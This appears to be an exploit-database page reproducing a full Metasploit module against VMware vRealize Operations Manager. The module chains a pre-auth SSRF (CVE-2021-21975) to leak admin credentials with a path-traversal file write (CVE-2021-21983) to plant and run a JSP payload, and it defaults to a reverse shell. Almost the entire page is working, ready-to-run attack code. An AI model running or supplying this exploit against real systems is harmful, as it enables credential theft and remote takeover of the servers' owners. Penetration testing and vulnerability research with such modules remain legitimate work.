VMware vRealize Operations Manager Server-Side Request Forgery / Code Execution

2021.04.30
Credit: wvu
Risk: High
Local: No
Remote: Yes
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'VMware vRealize Operations (vROps) Manager SSRF RCE', 'Description' => %q{ This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth file write (CVE-2021-21983) in VMware vRealize Operations Manager to leak admin creds and write/execute a JSP payload. CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate endpoint. Code execution occurs as the "admin" Unix user. The following vRealize Operations Manager versions are vulnerable: * 7.0.0 * 7.5.0 * 8.0.0, 8.0.1 * 8.1.0, 8.1.1 * 8.2.0 * 8.3.0 Version 8.3.0 is not exploitable for creds and is therefore not supported by this module. Tested against 8.0.1. }, 'Author' => [ 'Egor Dimitrenko', # Discovery 'wvu' # Analysis and exploit ], 'References' => [ ['CVE', '2021-21975'], # SSRF ['CVE', '2021-21983'], # File write ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0004.html'], ['URL', 'https://twitter.com/ptswarm/status/1376961747232382976'], ['URL', 'https://attackerkb.com/topics/51Vx3lNI7B/cve-2021-21975#rapid7-analysis'] ], 'DisclosureDate' => '2021-03-30', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['vRealize Operations Manager < 8.3.0', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SRVPORT' => 8443, 'SSL' => true, 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ IOC_IN_LOGS, # /usr/lib/vmware-casa/casa-webapp/logs ARTIFACTS_ON_DISK # /usr/lib/vmware-casa/casa-webapp/webapps/casa ] }, 'Stance' => Stance::Aggressive ) ) register_options([ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def setup super @creds = nil print_status('Starting SSRF server...') start_service end def check leak_admin_creds ? CheckCode::Vulnerable : CheckCode::Safe end def exploit return unless (@creds ||= leak_admin_creds) write_jsp_payload execute_jsp_payload end def leak_admin_creds # "Comment out" trailing path using URI fragment syntax, ostensibly ssrf_uri = "#{srvhost_addr}:#{srvport}#{get_resource}#" print_status('Leaking admin creds via SSRF...') vprint_status(ssrf_uri) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/casa/nodes/thumbprints'), 'ctype' => 'application/json', 'data' => [ssrf_uri].to_json ) unless res&.code == 200 && res.get_json_document.dig(0, 'address') == ssrf_uri print_error('Failed to send SSRF request') return end unless @creds print_error('Failed to leak admin creds') return end print_good('Successfully leaked admin creds') vprint_status("Authorization: #{@creds}") @creds end def on_request_uri(cli, request) print_status("#{cli.peerhost} connected to SSRF server!") vprint_line(request.to_s) @creds ||= request.headers['Authorization'] ensure send_not_found(cli) close_client(cli) end def write_jsp_payload jsp_path = "/usr/lib/vmware-casa/casa-webapp/webapps/casa/#{jsp_filename}" print_status('Writing JSP payload') vprint_status(jsp_path) multipart_form = Rex::MIME::Message.new multipart_form.add_part( "../../../../..#{jsp_path}", nil, # Content-Type nil, # Content-Transfer-Encoding 'form-data; name="name"' ) multipart_form.add_part( payload.encoded, nil, # Content-Type nil, # Content-Transfer-Encoding %(form-data; name="file"; filename="#{jsp_filename}") ) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/casa/private/config/slice/ha/certificate'), 'authorization' => @creds, 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}", 'data' => multipart_form.to_s ) unless res&.code == 200 fail_with(Failure::NotVulnerable, 'Failed to write JSP payload') end register_file_for_cleanup(jsp_path) print_good('Successfully wrote JSP payload') end def execute_jsp_payload jsp_uri = normalize_uri(target_uri.path, 'casa', jsp_filename) print_status('Executing JSP payload') vprint_status(full_uri(jsp_uri)) res = send_request_cgi( 'method' => 'GET', 'uri' => jsp_uri, 'authorization' => @creds ) unless res&.code == 200 fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload') end print_good('Successfully executed JSP payload') end def jsp_filename @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" end end


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top